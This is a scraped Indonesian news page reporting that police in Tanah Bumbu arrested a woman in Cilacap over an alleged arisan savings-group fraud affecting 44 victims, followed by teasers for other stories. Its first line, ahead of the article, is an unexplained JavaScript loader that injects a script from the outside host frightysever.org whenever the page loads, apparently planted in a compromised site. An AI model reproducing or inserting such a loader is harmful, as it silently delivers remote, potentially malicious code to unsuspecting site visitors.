(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu melakukan pengejaran dan penangkapan seorang wanita terduga pelaku tindak pidana penipuan.
Pengejaran hingga akhirnya pelaku tertangkap di Desa Bulaksari, Kecamatan Bantarsari, Kabupaten Cilacap, Provinsi Jawa Tengah, pada Kamis (10/03/2022).
Pelaku adalah BM (38), warga Desa Manunggal, Kecamatan Karang Bintang, Kabupaten Tanah Bumbu. BM diduga telah melakukan dugaan tindak pidana penipuan dan penggelapan sebagaimana dimaksud dalam Pasal 378 KUHP dan Pasal 372 KUHP.
Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Reskrim Polres Tanah Bumbu AKP Wahyudi Erfan kepada awak media, Minggu (13/3/2022) membenarkan pemburuan dan penangkapan wanita tersebut.
Baca juga : Gelar Rapimnas Fornas LKSA dan Anak Yatim se Indonesia, Ini Kata Bupati Tanbu
“Ya benar, Unit Resmob Satreskrim Polres Tanah Bumbu yang dipimpin Iptu Aditya Prabowo bersama anggota memburu seorang wanita yang melarikan diri ke daerah Cilacap usai menipu para korbannya,” katanya.
Pelaku diduga kuat telah melakukan penipuan dan penggelapan uang milik 44 orang yang menjadi korbannya dengan modus arisan, namun tidak dibayarkan.
Usai melakukan aksinya, saat wanita itu coba dihubungi para korban tidak bisa dan diketahui telah melarikan diri ke Cilacap.
Atas dasar laporan para korban tersebut, Unit Resmob Satreskrim Polres Tanah Bumbu Polda Kalimantan Selatan, melakukan koordinasi dengan Polres Cilacap dan melakukan penangkapan terhadap pelaku.
Dugaan sementara para korban mengalami kerugian kisaran Rp 338 juta.
Baca juga : Toko Modern Jual Migor Paketan di Banjarbaru, Wakil Rakyat: Warga ‘Dipaksa’ Beli yang Bukan Kebutuhan
Kini Unit Resmob Satreskrim Polres Tanah Bumbu, sedang dalam perjalanan menuju Tanah Bumbu membawa pelaku guna proses penyidikan lebih lanjut.
Pelaku akan kita jerat dengan Pasal 378 KUHP dan Pasal 372 KUHP tentang penipuan dan penggelapan dengan ancaman hukuman penjara selama empat tahun. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.